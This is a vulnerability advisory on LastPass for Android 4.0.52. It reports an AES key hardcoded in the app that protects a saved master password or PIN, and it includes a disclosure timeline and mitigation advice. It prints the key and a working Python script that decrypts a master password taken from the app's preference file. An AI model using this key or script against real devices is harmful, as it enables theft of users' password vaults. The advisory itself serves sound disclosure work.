SIK-2016-022


Title:

Hardcoded Master Key in LastPass Password Manager

Report ID

SIK-2016-022

Summary:

  • Vendor: LastPass
  • Product: LastPass Password Manager
  • Affected Version: 4.0.52, platformBuildVersionName=”6.0-2704002″
  • Severity: medium-high (combined with other vulnerabilities see SIK-2016-023)
  • Short summary: The master key protecting the stored master password is hardcoded in the application (equal on all devices). Combined with vulnerability (SIK-2016-023) or a root exploit the master key can be stolen and decrypted.

Details:

The Android app of LastPass comes with an access control mechanism, which prohibits arbitrary usage of its functionality. By default, the user is asked to enter his master password in order to gain access to the application. Due to its enforced complex requirements a user can easily get frustrated entering the master password over and over again. Therefore, LastPass offers to substitute the master password with a PIN mechanism. Thereby the user can agree to save the master password on the device and shift all access control to a PIN, which can be 4-14 digits long. The master key and the PIN are symmetrically encrypted and stored in a shared preferences file in the local app folder. The key/PIN are stored encrypted. The key for encrypting/decrypting the credentials is hard coded into the application’s source code.

For stealing the encrypted master key/PIN, we assume the attacker gains access to the device (evil maid attack). The first approach reading out the LPAndroid.xml content is working without a root exploit, but not on each Android version. The second approach requires a root exploit (there exists different types for different Android versions).

The used cryptographic keys are hardcoded in the following obfuscated application class (LPCommon):

public abstract class LPCommon {
//first part of the key
protected static String aA = "ldT52Fjsnjdn4390";
//second part of the key
protected static String aB = "89y23489h989fFFF";

Both strings concatenated build the encryption key (ldT52Fjsnjdn439089y23489h989fFFF) for the stored master password or PIN in the shared preferences file LPandroid.xml.

Therefore, decrypting the password is trivial, once an attacker gains access to the shard preference file he can decrypt the stored master password or the PIN.

The following script uses the extracted key for decrypting a stolen master password:

#! /usr/bin/python3
import sys
from Crypto.Cipher import AES
from base64 import b64decode
# hard coded password for aes decryption
key = b'ldT52Fjsnjdn439089y23489h989fFFF'
def decrypt(key, iv, cipher, mode):
    obj = AES.new(key, mode, iv)
    plain = obj.decrypt(cipher)
    pin = ''
    # delete ascii 16 since it is used for padding
    for b in plain:
	if(b != 16):
	    pin += chr(b)
    print(pin)

if __name__ == '__main__':
    a = sys.argv[1]
    if('|' in a):
	# if there is an iv
	iv, cipher = a.split('|')
	iv = b64decode(iv)
	cipher = b64decode(cipher)
	decrypt(key, iv, cipher, AES.MODE_CBC)
    else:
	# if there is no iv
	iv = b'0000000000000000'
	cipher = b64decode(a)
	decrypt(key, iv, cipher, AES.MODE_ECB)

Workaround

The user should not save his master password, avoid such convinience functions.

Suggested Mitigation

Using hard-code symmetric keys in application is bad practice implementing cryptographic functions. Encryption key should be derived from a user secret and afterwards using a key derivation function like PBKDF2. For persisting cryptographic keys, the keys should be stored in the android keystore.

Timeline

  • 2016-08-22 Vulnerability Discovered
  • 2016-08-24 Vulnerability Reported
  • 2016-09-06 Vulnerability Fixed